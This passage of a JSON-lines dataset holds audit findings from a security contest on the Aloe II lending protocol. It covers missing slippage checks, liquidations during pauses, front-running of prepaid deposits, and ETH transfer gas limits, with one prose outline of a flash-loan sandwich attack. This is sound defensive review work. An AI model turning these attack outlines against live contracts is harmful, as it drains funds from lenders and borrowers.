protocol thinks the rewards are transferring successfully but actually they are not when it is an invalid address, due to that the lenders/beneficiaries are losing their rewards.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/b60c21af24738d517941f18f7caa8c7272f771c5/aloe-ii/core/src/Factory.sol#L5\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/b60c21af24738d517941f18f7caa8c7272f771c5/aloe-ii/core/src/Factory.sol#L238-L242\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/b60c21af24738d517941f18f7caa8c7272f771c5/aloe-ii/core/src/Factory.sol#L272-L274\n## Tool used\n\nManual Review\n\n## Recommendation\nConsider implementing a code existence check for rewardsToken before setting earned rewards to 0 and make sure the rewardsToken address is a valid address.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//005-M/028.md"}} +{"title":"Solmate `safeTransfer()` and `safetransferfrom()` may revert transaction, and cause related contract dos","severity":"medium","body":"Melted Charcoal Mantis\n\nmedium\n\n# Solmate `safeTransfer()` and `safetransferfrom()` may revert transaction, and cause related contract dos\n## Summary\nSome Incompatible ERC20 tokens would cause contract dos because such tokens dont has standard ERC20 compliant functions.\n\n## Vulnerability Detail\nSome tokens is incompatible with ERC20(like USDT), those token will cause contract dos.\nFunctions `safeTransferFrom()` and `safeTransfer()` inside TransferHelper library, some incompatible tokens `transferFrom()` or `transfer()` return void instead of bool , those functions will revert transaction, and cause related contract dos.\n```solidity\n\n\nTOKEN1.safeTransfer(address(callee), available1);\ncallee.swap1For0(data, available1, liabilities0);\n\n repayable0 += liabilities0;\n```\n```solidity\n function _repay(uint256 amount0, uint256 amount1) private {\n if (amount0 > 0) {\n TOKEN0.safeTransfer(address(LENDER0), amount0);\n LENDER0.repay(amount0, address(this));\n }\n if (amount1 > 0) {\n TOKEN1.safeTransfer(address(LENDER1), amount1);\n LENDER1.repay(amount1, address(this));\n }\n }\n\n```\n\n\n## Impact\nIncompatible ERC20 tokens will cause contract dos.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L546-L555\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L446\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Factory.sol#L242\n## Tool used\n\nManual Review\n\n## Recommendation\nUse openzeppelin's safeERC20.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//005-M/003.md"}} +{"title":"There's no remedy for when liquidator manipulates price","severity":"medium","body":"Future Cherry Monkey\n\nhigh\n\n# There's no remedy for when liquidator manipulates price\n## Summary\nBorrower checks price manipulation when the owner wants to `modify` the position. However, there's no check on `liquidate` and this could lead to undesired situations.\n\n## Vulnerability Detail\nIn [modify](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L319C13-L322C15), there are 2 checks on price manipulation. It checks if the price `seemsLegit` and whether the pool has been paused in factory.\n\n```solidity\nrequire(\n seemsLegit && (block.timestamp > pausedUntilTime) && (address(this).balance >= ante),\n \"Aloe: missing ante / sus price\"\n);\n```\n\nThis is to protect lenders from price manipulation by the borrower. However, an attacker could manipulate price so that multiple Borrower contracts become unHealthy. When such happens, the liquidation would be successful and borrowers can't do anything to protect themselves. If borrowers notice this aggression, they can't modify their position and if they pause the pool, it won't affect liquidations.\n\nThis is because [liquidate](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L206) does not check if price is legit or whether the pool has been paused.\n\n## Impact\nAttacker can manipulate price to make multiple Borrowers unHealthy and liquidate them.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L319C13-L322C15\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L206\n\n## Tool used\n\nManual Review\n\n## Recommendation\nConsider checking whether price is legit or pool has been paused before liquidating.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//004-M/111.md"}} +{"title":"In case if pool is paused, then borrower can't avoid liquidation","severity":"medium","body":"Bent Orchid Barbel\n\nmedium\n\n# In case if pool is paused, then borrower can't avoid liquidation\n## Summary\nIn case if pool is paused, then borrower can't avoid liquidation as his all actions are blocked\n## Vulnerability Detail\nIn case if prices from uniswap seems to be manipulated, then [pool is paused for 30 minutes](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Factory.sol#L162).\n\nOnce it's done, then borrower [can't do anything using `modify` function](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L320C32-L320C65). This check is skipped only if borrower has no liabilities.\nThis means that all funds that are currently in the Borrower contract and in uniswap under Borrower positions are locked.\n\nThis becomes a problem for owner of Borrower, when [he is warned](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L155-L173) and he now has 2 minutes to adjust his positions. Owner of Borrower can repay directly to the lender contract on behalf of Borrower, but it's possible that Borrower has another strategy to manage such cases and he needs access to his uniswap positions and Borrower's balance to do so.\n## Impact\nBorrower can't use own funds to make situation better after he is warned and pool is paused.\n## Code Snippet\nProvided above\n## Tool used\n\nManual Review\n\n## Recommendation\nI don't know good solution here, as you trying to not allow them to get funds out of contract in case if prices are broken and you can't detect if borrower doesn't try to cheat. But still this can lead to loss for borrower in from of incentive for liquidator.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//004-M/076.md"}} +{"title":"Liquidations Allowed When Paused","severity":"medium","body":"Warm Orange Dragon\n\nmedium\n\n# Liquidations Allowed When Paused\n## Summary\n\nWhen the protocol is paused, liquidations are still allowed while reducing modifying positions is disallowed, leading to unfair liquidations.\n\n## Vulnerability Detail\n\nWhen the protocol is paused, the modify function will revert due to this line:\n\n```solidity\n require(\n //@question was is ante?\n seemsLegit && (block.timestamp > pausedUntilTime) && (address(this).balance >= ante),\n \"Aloe: missing ante / sus price\"\n );\n```\n\nThis means that users cannot modify their positions and increase their collateral to avoid liquidations. However, the `warn` and `liquidate` functions do not have the same check which measn that liquidations are still allowed when the protocol is paused. This results in unjust liquidations.\n\nSimilar to this issue from Blueberry Contest: [Jeiwan - Liquidations are enabled when repayments are disabled, causing borrowers to lose funds without a chance to repay](https://github.com/sherlock-audit/2023-02-blueberry-judging/issues/290)\n\n\n\n## Impact\n\nUnfair liquidations as users cannot modify their position while liquidations are still enabled.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L299-L327\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nImplement a pause check on both the `liquidate` and `warn` functions","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//004-M/072-best.md"}} +{"title":"healthy Borrowers can get liquidated in case of malipulation in oracle","severity":"medium","body":"Rare Violet Caribou\n\nhigh\n\n# healthy Borrowers can get liquidated in case of malipulation in oracle\n## Summary\nThere is no pausing mechanism imposed on liquidation while oracle price is manipulated which could lead to unintended liquidation of borrowers\n## Vulnerability Detail\nIn the contract Borrower.sol the function liquidate() is using oracle to get the price for liquidation\n```solidity\n\n(Prices memory prices, ) = getPrices(oracleSeed);\n```\nThe protocol has the manipulation detection mechanism that detects any manipulation in the prices and in case of manipulation the borrowing is paused but the liquidation and repayment is not paused while this could lead to unexpected behavior and an unexpected liquidation of the borrowers.\n## Impact\nBorrowers can get liquidated in case of any manipulation in the prices of the pool by a malicious actor\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L206\n## Tool used\n\nManual Review\n\n## Recommendation\nIn case of any manipulation impose a pausing mechanism on liquidation as well as repayment.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//004-M/027.md"}} +{"title":"The `Borrower.liquidate()` function lacks checks for seemsLegit and pausedUntilTime","severity":"medium","body":"Melted Charcoal Mantis\n\nhigh\n\n# The `Borrower.liquidate()` function lacks checks for seemsLegit and pausedUntilTime\n## Summary\nThe liquidate function within the protocol lacks essential checks for seemsLegit and pausedUntilTime. The absence of these checks could introduce potential fairness and predictability issues during the liquidation process.\n\n## Vulnerability Detail\nThe `Borrower.liquidate()` function is missing critical checks for seemsLegit and pausedUntilTime. These checks are essential for ensuring the fairness and reliability of the liquidation process. Without these checks, the protocol may not be able to verify the legitimacy of the liquidation at a specific time. Additionally, the absence of the pausedUntilTime check can result in liquidations occurring during unfavorable or unexpected periods, potentially leading to unfair outcomes for users.\n```solidity\n function liquidate(ILiquidator callee, bytes calldata data, uint256 strain, uint40 oracleSeed) external {\n uint256 slot0_ = slot0;\n // Essentially `slot0.state == State.Ready`\n require(slot0_ & SLOT0_MASK_STATE == 0);\n slot0 = slot0_ | (uint256(State.Locked) << 248);\n\n uint256 priceX128;\n uint256 liabilities0;\n uint256 liabilities1;\n uint256 incentive1;\n {\n // Fetch prices from oracle\n (Prices memory prices, ) = getPrices(oracleSeed);\n priceX128 = square(prices.c);\n // Withdraw Uniswap positions while tallying assets\n Assets memory assets = _getAssets(slot0_, prices, true);\n\n```\n\n## Impact\nThe absence of the pausedUntilTime check can result in liquidations occurring during unfavorable or unexpected periods, potentially leading to unfair outcomes for users. \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L194-L286\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTo address this issue, it's recommended to implement these checks to ensure that liquidations take place under transparent and predictable conditions.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//004-M/015.md"}} +{"title":"Non monoatomic operation issue on `deposit` and `repay` open for user's asset lost","severity":"major","body":"Itchy Glossy Boa\n\nhigh\n\n# Non monoatomic operation issue on `deposit` and `repay` open for user's asset lost\n## Summary\n\nuser's `deposit()` and `repay()` can be sandwiched due to non-monoatomic transaction when user doing token transfer and deposit (or repay) function call\n\n## Vulnerability Detail\n\nOn Lender contract `deposit` function, there is a part where the deposit call check to ensure token are transferred (Line 149-152). This `didPrepay` check if the cached lastBalance less or equal than current asset balance of the Lender contract, while the cache lastBalance already increased by deposit amount on Line 142.\n\n```js\nFile: Lender.sol\n115: function deposit(uint256 amount, address beneficiary, uint32 courierId) public returns (uint256 shares) {\n...\n141: // Assume tokens are transferred\n142: cache.lastBalance += amount;\n...\n147: // Ensure tokens are transferred\n148: ERC20 asset_ = asset();\n149: bool didPrepay = cache.lastBalance <= asset_.balanceOf(address(this));\n150: if (!didPrepay) {\n151: asset_.safeTransferFrom(msg.sender, address(this), amount);\n152: }\n...\n155: }\n```\n\nThis `didPrepay` is assuming user already send their deposit amount before calling this `deposit()` function, which is open for sandwich / front-run attack.\n\nTo be precise, when someone plan to deposit using prepay way, there are 2 transaction the user need to perform.\n\n1. for example a user want to deposit 10 amount of token, they transfer 10 token to the contract,\n2. call deposit with amount as 10, in this way, the `didPrepay` will be true, thus skipping the `asset_.safeTransferFrom(msg.sender, address(this), amount)`.\n\nThe issue here is, this operation is not monoatomic, means, some attacker can sandwich the transaction, in this case, when that user transfered the 10 token, the attacker can just call deposit and put their beneficiary address as theirs, resulting the user will fail to deposit. Or attacker doesn't have to call deposit, they can just use flashloan `flash()` function, and keep the difference.\n\nthe same issue goes to the repay function, where this function assume user already send the token first before calling `repay()`.\n\n```js\nFile: Lender.sol\n257: function repay(uint256 amount, address beneficiary) external returns (uint256 units) {\n...\n277: // Assume tokens are transferred\n278: cache.lastBalance += amount;\n279:\n280: // Save state to storage (thus far, only mappings have been updated, so we must address everything else)\n281: _save(cache, /* didChangeBorrowBase: */ true);\n282:\n283: // Ensure tokens are transferred\n284: require(cache.lastBalance <= asset().balanceOf(address(this)), \"Aloe: insufficient pre-pay\");\n...\n287: }\n```\n\n## Impact\n\nUser's deposit or repay token is loss due to attacker snip (sandwiched) the transaction.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L149-L152\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L283-L284\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nRevise the logic functions and ensure the token transfered on the same function call (example, using `transferFrom` inside the function)","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//003-H/144.md"}} +{"title":"Liquidator could reverse LP sandwich _uniswapWithdraw and easily cause bad debts for Lenders","severity":"major","body":"Future Cherry Monkey\n\nhigh\n\n# Liquidator could reverse LP sandwich _uniswapWithdraw and easily cause bad debts for Lenders\n## Summary\n`_uniswapWithdraw` is a function that burns LP tokens but there's no check on min amounts. This could be used by liquidator to extract value from Borrower and cause bad debts for Lender.\n\n## Vulnerability Detail\nReverse LP sandwich are MEV that target LP modifications such as add liquidity and burn liquidity. Explanation is provided in this [medium article](https://medium.com/virtuswap/the-reverse-lp-sandwich-arbitrage-73a081e68f1f).\n\nThe process we care about in the [liquidate](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L194-L232) function is as follows\n1. `_getAssets` -> `_uniswapWithdraw` -> `UNISWAP_POOL.burn`\n2. Calculate repayable based on `min(liability, tokenBalance)`\n\nThe issue is that the burnt amount is not checked against any baseline. The liquidator and every MEV searcher are trusted to behave in the best interest of the Protocol. But they shouldn't.\n\nThe withdrawn asset could be too skewed or too low to cover the whole liabilities. The loser is the Borrower but this loss would easily spread to Lender in the form of bad debt.\n\nThis attack could be executed with a single transaction with flash loan\n* Deploy Liquidator contract\n* Flashloan large amount from a DEX or lending protocol\n* Swap to move Uniswap pool tick\n* Execute Borrower.liquidate\n* Backrun and move uniswap tick to it's appropriate value\n\n## Impact\nSandwich against `_uniswapWithdraw` would cause loss to depositors of Lender contract.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L209\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L231-L232\n\n## Tool used\n\nManual Review\n\n## Recommendation\nConsider comparing `burn+collected` amount against `assets.fluid0C` and `assets.fluid1C` with a slippage percentage like 1%.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//003-H/113.md"}} +{"title":"No slippage protection parameters when withdrawing liquidity from a UniswapV3Pool via the Borrower#`_uniswapWithdraw()`, which lead to a sandwich attack and could result in a huge slippage loss","severity":"major","body":"Precise Pewter Dog\n\nhigh\n\n# No slippage protection parameters when withdrawing liquidity from a UniswapV3Pool via the Borrower#`_uniswapWithdraw()`, which lead to a sandwich attack and could result in a huge slippage loss\n## Summary\nThere is no slippage protection parameters when withdrawing liquidity from a UniswapV3Pool via the Borrower#`_uniswapWithdraw()`, which lead to a sandwich attack and could result in a huge slippage loss.\n\n\n## Vulnerability Detail\nWhen a borrower attempt to add liquidity to a Uniswap position, the borrower would call the Borrower#`uniswapWithdraw()` via the Borrower#`modify()`.\n\nWithIn the Borrower#`uniswapWithdraw()`, the Borrower#`_uniswapWithdraw()` would be called like this:\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L386\n```solidity\n /**\n * @notice Allows the `owner()` to withdraw liquidity from one of their Uniswap positions. Only works within\n * the `modify` callback.\n * @dev The `LiquidityAmounts` library can help convert underlying amounts to units of `liquidity`\n * @param lower The tick at the position's lower bound\n * @param upper The tick at the position's upper bound\n * @param liquidity The amount of liquidity to remove, in Uniswap's internal units. Pass 0 to collect\n * fees without burning any liquidity.\n * @param recipient Receives the tokens from Uniswap. Usually the address of this `Borrower` account.\n * @return burned0 The amount of `TOKEN0` that was removed from the Uniswap position\n * @return burned1 The amount of `TOKEN1` that was removed from the Uniswap position\n * @return collected0 Equal to `burned0` plus any earned `TOKEN0` fees that hadn't yet been claimed\n * @return collected1 Equal to `burned1` plus any earned `TOKEN1` fees that hadn't yet been claimed\n */\n function uniswapWithdraw(\n int24 lower,\n int24 upper,\n uint128 liquidity,\n address recipient\n ) external onlyInModifyCallback returns (uint256 burned0, uint256 burned1, uint256 collected0, uint256 collected1) {\n (burned0, burned1, collected0, collected1) = _uniswapWithdraw(lower, upper, liquidity, recipient); ///<---------- @audit\n }\n```\n\nWithIn the Borrower#`_uniswapWithdraw()`, the UniswapV3Pool#`burn()` would be called to withdraw the underlying tokens (remove liquidity) from a Uniswap position like this:\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L542\n```solidity\n function _uniswapWithdraw(\n int24 lower,\n int24 upper,\n uint128 liquidity,\n address recipient\n ) private returns (uint256 burned0, uint256 burned1, uint256 collected0, uint256 collected1) {\n (burned0, burned1) = UNISWAP_POOL.burn(lower, upper, liquidity); ///<------------------ @audit\n ...\n }\n```\n\nAccording to the [official UniswapV3's documenation](https://docs.uniswap.org/contracts/v3/guides/providing-liquidity/decrease-liquidity), the parameters for the slippage protection (`amount0Min` and `amount1Min`) would be recommended to prevent from a slippage loss like this:\n> In production, `amount0Min` and `amount1Min` should be adjusted to create slippage protections.\n\nHowever, within the UniswapV3Pool#`burn()` calling inside the Borrower#`_uniswapWithdraw()`, there are no parameters (`amount0Min` and `amount1Min`) for the slippage protection. \n\nThis allow a malicious actor to do front-running and sandwich attack and could result in a huge slippage loss.\n\n\n## Impact\nThere is no slippage protection parameters when withdrawing liquidity from a UniswapV3Pool via the Borrower#`_uniswapWithdraw()`, which lead to a sandwich attack and could result in a huge slippage loss.\n\n## Code Snippet\n- https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L542\n\n## Tool used\n- Manual Review\n\n## Recommendation\nWithIn the UniswapV3Pool#`burn()` calling inside the Borrower#`_uniswapWithdraw()`, consider adding the parameters for the slippage protection (`amount0Min` and `amount1Min`).","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//003-H/101.md"}} +{"title":"Lack of the slippage protection parameters when the UniswapV3Pool#`mint()` would be called in the Borrower#`uniswapDeposit()`, which lead to a huge slippage loss","severity":"major","body":"Precise Pewter Dog\n\nhigh\n\n# Lack of the slippage protection parameters when the UniswapV3Pool#`mint()` would be called in the Borrower#`uniswapDeposit()`, which lead to a huge slippage loss\n## Summary\nWithin the UniswapV3Pool#`mint()` calling inside the Borrower#`uniswapDeposit()`, there are no parameters for `minDeposit0` and `minDeposit1`, which are used to prevent slippage. \nThis allows malicious users to do a front-running attack (sandwich attack), which lead to that expose to high slippage and could result in a huge slippage loss.\n\n## Vulnerability Detail\n\nWhen a borrower attempt to add liquidity to a Uniswap position, the borrower would call the Borrower#`uniswapDeposit()` via the Borrower#`modify()`.\n\nWithIn the Borrower#`uniswapDeposit()`, the UniswapV3Pool#`mint()` would be called to deposit the underlying tokens (add liquidity) into a Uniswap position like this:\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L363\n```solidity\n /**\n * @notice Allows the `owner()` to add liquidity to a Uniswap position (or create a new one). Only works\n * within the `modify` callback.\n * @dev The `LiquidityAmounts` library can help convert underlying amounts to units of `liquidity`.\n * NOTE: Depending on your use-case, it may be more gas-efficient to call `UNISWAP_POOL.mint` in your\n * own contract, instead of doing `uniswapDeposit` inside of `modify`'s callback. As long as you set\n * this `Borrower` as the recipient in `UNISWAP_POOL.mint`, the result is the same.\n * @param lower The tick at the position's lower bound\n * @param upper The tick at the position's upper bound\n * @param liquidity The amount of liquidity to add, in Uniswap's internal units\n * @return amount0 The precise amount of `TOKEN0` that went into the Uniswap position\n * @return amount1 The precise amount of `TOKEN1` that went into the Uniswap position\n */\n function uniswapDeposit(\n int24 lower,\n int24 upper,\n uint128 liquidity\n ) external onlyInModifyCallback returns (uint256 amount0, uint256 amount1) {\n (amount0, amount1) = UNISWAP_POOL.mint(address(this), lower, upper, liquidity, \"\"); ///<------------- @audit\n }\n```\n\nAccording to the details of slippage protection when minting on UniswapV3Pool, the parameters for the slippage protection (`minDeposit0` and `minDeposit1`) should be implemented to prevent from a front-running attack like this:\nhttps://docs.uniswap.org/contracts/v3/guides/providing-liquidity/mint-a-position#calling-mint\nhttps://uniswapv3book.com/docs/milestone_3/slippage-protection/#slippage-protection-in-minting\n\nHowever, within the UniswapV3Pool#`mint()` calling inside the Borrower#`uniswapDeposit()`, there are no parameters for the slippage protection (`minDeposit0` and `minDeposit1`).\nThis allows malicious users to do a front-running attack (sandwich attack).\n\n## Impact\nThis allows malicious users to do a front-running attack (sandwich attack), which lead to that expose to high slippage and could result in a huge slippage loss.\n\n## Code Snippet\n- https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L363\n\n## Tool used\n- Manual Review\n\n## Recommendation\nWithIn the UniswapV3Pool#`mint()` calling inside the Borrower#`uniswapDeposit()`, consider adding the parameters for the slippage protection (`minDeposit0` and `minDeposit1`).","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//003-H/093.md"}} +{"title":"No Slippage Protection When Adding and Removing Liquidity and Liquidations","severity":"major","body":"Warm Orange Dragon\n\nhigh\n\n# No Slippage Protection When Adding and Removing Liquidity and Liquidations\n## Summary\n\nThe callbacks which add and remove liquidity on Uniswap do not have slippage parameters.\n\n## Vulnerability Detail\n\nWhen liquidity is added/removed through Aloe's `modify` function, Uniswap's `mint` and `burn` functions are called directly.\n\nThe generally correct way to make contract calls is through `increaseLiquidity` and `decreaseLiquidity`. `amount0Min` and `amount1Min` are passed through as slippage parameters which is used when Uniswap is called this way with:\n\n```solidity\nnonfungiblePositionManager.decreaseLiquidity(params)\n```\n\nWith the direct call as implemented in Aloe, attempts to add liquidity can be sandwiched with a transaction which \n\n1. Pushes the pool price to the wrong price \n2. Allows the victim to add liquidity\n3. Sells tokens into the liquidity for a profit.\n\n(different step order and direction for removing liquidiy)\n\nThis applies to adding and removing liquidity during `modify`, and the liquidity removal during `liquidate`.\n\n## Impact\n\n- Loss of funds to MEV/Sandwich attacks when adding liquidity\n- - Loss of funds to MEV/Sandwich attacks when removing liquidity\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L358-L364\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nCall Uniswap's `decreaseLiquidity` function and the corresponding increase function and allow customizable slippage parameters as a user input that are passed down in the `modify` and `liquidate` functions.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//003-H/064-best.md"}} +{"title":"`borrower.modify()` lacks slippage protection","severity":"major","body":"Melted Charcoal Mantis\n\nhigh\n\n# `borrower.modify()` lacks slippage protection\n## Summary\n`borrower.modify()` lacks slippage protection and is susceptible to sandwich attacks, potentially resulting in user losses.\n\n## Vulnerability Detail\nThe `Borrower.modify()` function allows the contract owner to perform modification operations, including executing callbacks, updating the state and so on.\n\nWithin the callback function, the protocol is directly calling Uniswap V3's mint, burn, and collect functions on a pool contract, bypassing the Uniswap V3 router contract. \n```solidity\n function uniswapDeposit(\n int24 lower,\n int24 upper,\n uint128 liquidity\n ) external onlyInModifyCallback returns (uint256 amount0, uint256 amount1) {\n (amount0, amount1) = UNISWAP_POOL.mint(address(this), lower, upper, liquidity, \"\");\n }\n function _uniswapWithdraw(\n int24 lower,\n int24 upper,\n uint128 liquidity,\n address recipient\n ) private returns (uint256 burned0, uint256 burned1, uint256 collected0, uint256 collected1) {\n (burned0, burned1) = UNISWAP_POOL.burn(lower, upper, liquidity);\n (collected0, collected1) = UNISWAP_POOL.collect(recipient, lower, upper, type(uint128).max, type(uint128).max);\n }\n\n```\n\nThe critical problem is that the pool contract's mint, burn, and related functions lack safeguards such as slippage protection and deadline checks.\n```solidity\n function mint(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount,\n bytes calldata data\n ) external override lock returns (uint256 amount0, uint256 amount1) {\n require(amount > 0);\n (, int256 amount0Int, int256 amount1Int) =\n _modifyPosition(\n ModifyPositionParams({\n owner: recipient,\n tickLower: tickLower,\n tickUpper: tickUpper,\n liquidityDelta: int256(amount).toInt128()\n })\n );\n\n amount0 = uint256(amount0Int);\n amount1 = uint256(amount1Int);\n\n uint256 balance0Before;\n uint256 balance1Before;\n if (amount0 > 0) balance0Before = balance0();\n if (amount1 > 0) balance1Before = balance1();\n IUniswapV3MintCallback(msg.sender).uniswapV3MintCallback(amount0, amount1, data);\n if (amount0 > 0) require(balance0Before.add(amount0) <= balance0(), 'M0');\n if (amount1 > 0) require(balance1Before.add(amount1) <= balance1(), 'M1');\n\n emit Mint(msg.sender, recipient, tickLower, tickUpper, amount, amount0, amount1);\n }\n\n function burn(\n int24 tickLower,\n int24 tickUpper,\n uint128 amount\n ) external override lock returns (uint256 amount0, uint256 amount1) {\n (Position.Info storage position, int256 amount0Int, int256 amount1Int) =\n _modifyPosition(\n ModifyPositionParams({\n owner: msg.sender,\n tickLower: tickLower,\n tickUpper: tickUpper,\n liquidityDelta: -int256(amount).toInt128()\n })\n );\n\n amount0 = uint256(-amount0Int);\n amount1 = uint256(-amount1Int);\n\n if (amount0 > 0 || amount1 > 0) {\n (position.tokensOwed0, position.tokensOwed1) = (\n position.tokensOwed0 + uint128(amount0),\n position.tokensOwed1 + uint128(amount1)\n );\n }\n\n emit Burn(msg.sender, tickLower, tickUpper, amount, amount0, amount1);\n }\n\n```\n\n## Impact\n`borrower.modify()` lacks slippage protection and is susceptible to sandwich attacks, potentially resulting in user losses.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L299-L327\n## Tool used\n\nManual Review\n\n## Recommendation\nRequire minimum and maximum values that the protocol is willing to accept for a slippage tolerance that will not cause significant fund loss","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//003-H/013.md"}} +{"title":"The functionality of payable(address).transfer will be compromised if the cost of SLOAD increases","severity":"medium","body":"Dapper Concrete Porcupine\n\nmedium\n\n# The functionality of payable(address).transfer will be compromised if the cost of SLOAD increases\n## Summary\n\nAny increase in the cost of the SLOAD opcode will cause native coin transfers with `payable.transfer()` to run out of gas and fail.\n\n## Vulnerability Detail\n\nThe `payable.transfer()` function forwards a fixed amount of 2300 gas. The gas cost of EVM instructions may change significantly during hard forks which may break already deployed contract systems that make fixed assumptions about gas costs. For example, EIP 1884 broke several existing smart contracts due to a cost increase of the SLOAD opcode from 200 to 800 gas units.\n\nRead more about EIP-1884 here:\n\nhttps://eips.ethereum.org/EIPS/eip-1884\n\n## Impact\n\nThe increase in the cost of the SLOAD opcode will render all `payable.transfer()` calls non-functional.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L283\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L434\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider changing all occurrences of `payable.transfer()` with `address.call()` with value in order to mitigate the issue.\n\n```solidity\nrecipient.call{ value: address(this).balance }();\n```","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//002-M/123-best.md"}} +{"title":"address.call{value:x}() should be used instead of payable.transfer()","severity":"medium","body":"Radiant Cotton Shrimp\n\nmedium\n\n# address.call{value:x}() should be used instead of payable.transfer()\n## Summary\n\nThe protocol uses Solidity’s transfer() instead of call. \n\n## Vulnerability Detail\n\nThe protocol uses Solidity’s transfer() when transferring ETH to the recipients. This has some notable shortcomings when the recipient is a smart contract, which can render ETH impossible to transfer. Specifically, the transfer will inevitably fail when the smart contract:\n\n- does not implement a payable fallback\n- smart contract implements a payable fallback function which uses more than 2300 gas units\n- smart contract implements a payable fallback function which uses less than 2300 gas units but is called through a proxy that raises the call's gas usage above 2300.\n\nRisks of reentrancy stemming from the use of this function can be mitigated by tightly following the \"Check-Effects-Interactions\" pattern and using OpenZeppelin Contract’s ReentrancyGuard contract.\n\n```solidity\n payable(callee).transfer(address(this).balance / strain);\n emit 